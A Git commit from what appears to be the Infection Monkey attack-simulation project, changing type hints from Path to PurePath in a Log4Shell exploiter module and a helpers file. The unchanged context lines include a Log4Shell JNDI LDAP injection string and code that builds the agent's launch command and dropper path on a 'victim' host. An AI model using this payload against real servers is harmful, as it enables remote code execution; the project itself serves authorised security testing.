Agent: Change to more specific typehint in helpers.py

This commit is contained in:
vakaris_zilius 2022-03-24 11:46:59 +00:00
parent 1436be6428
commit 49d3433ade
2 changed files with 5 additions and 5 deletions

View File

@ -1,6 +1,6 @@
import logging import logging
import time import time
from pathlib import Path from pathlib import PurePath
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from infection_monkey.exploit.log4shell_utils import ( from infection_monkey.exploit.log4shell_utils import (
@ -113,7 +113,7 @@ class Log4ShellExploiter(WebRCE):
interface_ip = get_interface_to_target(self.host.ip_addr) interface_ip = get_interface_to_target(self.host.ip_addr)
return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
def _build_command(self, path: Path, http_path) -> str: def _build_command(self, path: PurePath, http_path) -> str:
# Build command to execute # Build command to execute
monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path) monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path)
if "linux" in self.host.os["type"]: if "linux" in self.host.os["type"]:

View File

@ -1,7 +1,7 @@
import logging import logging
import random import random
import string import string
from pathlib import Path, PurePosixPath, PureWindowsPath from pathlib import Path, PurePosixPath, PureWindowsPath, PurePath
from typing import Any, Mapping from typing import Any, Mapping
from infection_monkey.model import VictimHost from infection_monkey.model import VictimHost
@ -18,7 +18,7 @@ def get_random_file_suffix() -> str:
return random_string return random_string
def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path: def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> PurePath:
if host.os["type"] == "windows": if host.os["type"] == "windows":
path = PureWindowsPath(options["dropper_target_path_win_64"]) path = PureWindowsPath(options["dropper_target_path_win_64"])
else: else:
@ -29,7 +29,7 @@ def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path:
# Turns C:\\monkey.exe into C:\\monkey-<random_string>.exe # Turns C:\\monkey.exe into C:\\monkey-<random_string>.exe
# Useful to avoid duplicate file paths # Useful to avoid duplicate file paths
def _add_random_suffix(path: Path) -> Path: def _add_random_suffix(path: PurePath) -> PurePath:
stem = path.name.split(".")[0] stem = path.name.split(".")[0]
stem = f"{stem}-{get_random_file_suffix()}" stem = f"{stem}-{get_random_file_suffix()}"
rand_filename = "".join([stem, *path.suffixes]) rand_filename = "".join([stem, *path.suffixes])